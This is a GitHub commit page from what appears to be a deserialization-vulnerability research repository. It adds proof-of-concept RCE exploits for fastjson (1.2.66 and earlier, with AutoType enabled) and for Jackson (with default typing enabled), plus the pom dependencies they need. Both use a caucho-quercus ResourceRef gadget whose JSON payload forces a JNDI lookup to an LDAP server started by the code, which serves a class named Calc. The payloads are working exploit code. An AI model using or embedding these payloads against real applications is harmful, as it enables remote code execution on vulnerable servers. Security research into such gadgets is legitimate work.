Skip to content

Commit aadbd9d

Browse files
author
“threedr3am”
committed
feat:新增jackson和fastjson通用鸡肋caucho-quercus RCE gadget
1 parent 85a30e7 commit aadbd9d

File tree

5 files changed

+89
-1
lines changed

5 files changed

+89
-1
lines changed

fastjson/pom.xml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -122,5 +122,11 @@
122122
<artifactId>shiro-core</artifactId>
123123
<version>1.5.1</version>
124124
</dependency>
125+
126+
<dependency>
127+
<groupId>com.caucho</groupId>
128+
<artifactId>quercus</artifactId>
129+
<version>4.0.63</version>
130+
</dependency>
125131
</dependencies>
126132
</project>
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
package com.threedr3am.bug.fastjson.rce;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.LdapServer;
6+
7+
/**
8+
* fastjson <= 1.2.66 RCE,需要开启AutoType & JSON.parseObject
9+
*
10+
*
11+
* quercus ResourceRef jndi gadget
12+
*
13+
* <dependency>
14+
* <groupId>com.caucho</groupId>
15+
* <artifactId>quercus</artifactId>
16+
* <version>4.0.63</version>
17+
* </dependency>
18+
*
19+
* @author threedr3am
20+
*/
21+
public class QuercusPoc {
22+
static {
23+
//rmi server示例
24+
// RmiServer.run();
25+
26+
//ldap server示例
27+
LdapServer.run();
28+
}
29+
30+
public static void main(String[] args) {
31+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
32+
33+
String payload = "{\"@type\":\"com.caucho.config.types.ResourceRef\",\"lookupName\": \"ldap://localhost:43658/Calc\"}";//ldap方式
34+
JSON.parseObject(payload);
35+
}
36+
}

fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/ShiroPoc.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,6 @@ public static void main(String[] args) {
3030
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
3131

3232
String payload = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:43658/Calc\"], \"Realms\":[\"\"]}";//ldap方式
33-
System.out.println(payload.charAt(98));
3433
JSON.parse(payload);
3534
}
3635
}

jackson/pom.xml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -145,6 +145,12 @@
145145
<version>2.3.2</version>
146146
</dependency>
147147

148+
<dependency>
149+
<groupId>com.caucho</groupId>
150+
<artifactId>quercus</artifactId>
151+
<version>4.0.63</version>
152+
</dependency>
153+
148154

149155
</dependencies>
150156

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
package com.threedr3am.bug.jackson.rce;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.fasterxml.jackson.databind.SerializationFeature;
5+
import com.threedr3am.bug.common.server.LdapServer;
6+
import java.io.IOException;
7+
8+
/**
9+
* 比较鸡肋,需要调用writeValueAsString才能触发
10+
*
11+
* quercus ResourceRef jndi gadget
12+
*
13+
* <dependency>
14+
* <groupId>com.caucho</groupId>
15+
* <artifactId>quercus</artifactId>
16+
* <version>4.0.63</version>
17+
* </dependency>
18+
*
19+
* @author threedr3am
20+
*/
21+
public class QuercusPoc {
22+
23+
static {
24+
//rmi server示例
25+
// RmiServer.run();
26+
27+
//ldap server示例
28+
LdapServer.run();
29+
}
30+
31+
public static void main(String[] args) throws IOException {
32+
ObjectMapper mapper = new ObjectMapper();
33+
mapper.enableDefaultTyping();
34+
35+
String json = "[\"com.caucho.config.types.ResourceRef\", {\"lookupName\": \"ldap://localhost:43658/Calc\"}]";
36+
Object o = mapper.readValue(json, Object.class);
37+
mapper.writeValueAsString(o);
38+
}
39+
40+
41+
}

0 commit comments

Comments
 (0)